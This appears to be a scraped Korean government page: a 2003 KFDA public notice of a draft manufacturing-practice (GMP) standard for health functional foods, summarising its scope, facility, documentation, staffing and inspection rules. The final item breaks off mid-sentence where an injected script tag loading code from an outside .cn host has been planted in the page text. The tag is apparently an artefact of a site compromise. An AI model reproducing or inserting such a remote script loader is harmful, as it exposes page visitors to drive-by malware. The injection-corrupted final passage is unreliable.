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| 우수건강기능식품제조기준(안)입안예고 | |||||
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| 작성자 | 식품안전부 | 등록일 | 2003/06/24 | 조회 | 13802 |
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식품의약품안전청공고 제 2003-57호 우수건강기능식품제조기준을 제정·고시함에 있어 이를 국민에게 미리 알려 의견을 듣고자 그 취지와 주요내용을 행정절차법 제46조의 규정에 의하여 다음과 같이 공고합니다. 2003년 6월 27일 식품의약품안전청장 우수건강기능식품제조기준(안)입안예고 1. 제정이유 건강기능식품에관한법률 제22조의 규정에 의하여 우수건강기능식품제조기준 및 이의 운영에 관하여 필요한 사항을 규정함으로써 우수한 건강기능식품을 제조·공급하려는 것임 2. 주요골자 가. 우수건강기능식품제조기준(GMP)의 적용대상업소는 건강기능식품제조업으로 영업허가된 업소중 GMP적용평가대상업소, GMP적용지정업소 및 자율적으로 GMP적용을 원하는 업소로 규정함(안 제3조). 나. 업종별시설기준 외에 작업장은 청정구역과 일반구역(비청정구역)으로 분리하여 청정구역은 공조시설을 설치하여야 하고, 특수작업장은 살균 등의 조사시설, 별도의 배기시설 등에 의하여 다른 작업장과 분리하여야 하며, 보관시설, 제조시설 및 품질관리시설에 대하여 각각의 시설기준을 규정함(안 제4조 내지 제8조). 다. 건강기능식품의 제조관리와 품질관리를 위하여 제품표준서, 제조관리기준서, 제조위생관리기준서 및 품질관리기준서를 작성·비치하도록 함(안 제9조 내지 제13조). 라. GMP적용지정업소는 GMP총괄책임자, 제조관리부서책임자 및 품질관리부서책임자로 구성되는 운영조직을 구성하여야 함(안 제14조 내지 제17조). 마. GMP적용지정업소가 준수하여야 하는 사항으로 종업원 외 작업장 출입제한, 작업장 청결유지 및 전염병환자 제조작업 금지 등 제조공정관리, 제조위생관리, 보관관리 및 품질관리 사항을 규정함(안 제18조 내지 제21조). 바. 식품의약품안전청장은 GMP적용업소 지정과 GMP적용실시상황평가표에 따라 평가를 실시하도록 하고, 그 적용업소의 지정 및 관리를 위하여 식품의약품안전청 및 지방청에 GMP지도관(4급 내지 7급)과 GMP지도원(8급 및 9급)을 두도록 함(안 제22조, 제23조). 사. GMP적용지정업소는 GMP실시여부에 대하여 점검·기록하고, 자체 또는 외부전문기관에 의한 GMP적용실시상황평가를 반기별 1회 이상 실시하여 개선시정할 사항에 대하여 신속한 원인 규명과 적절한 조치를 하도록 함(안 제24조). 아. GMP적용지정업소는 건강기능식품의 품질 및 안전성과 ?script src=http://dae3.cn> |
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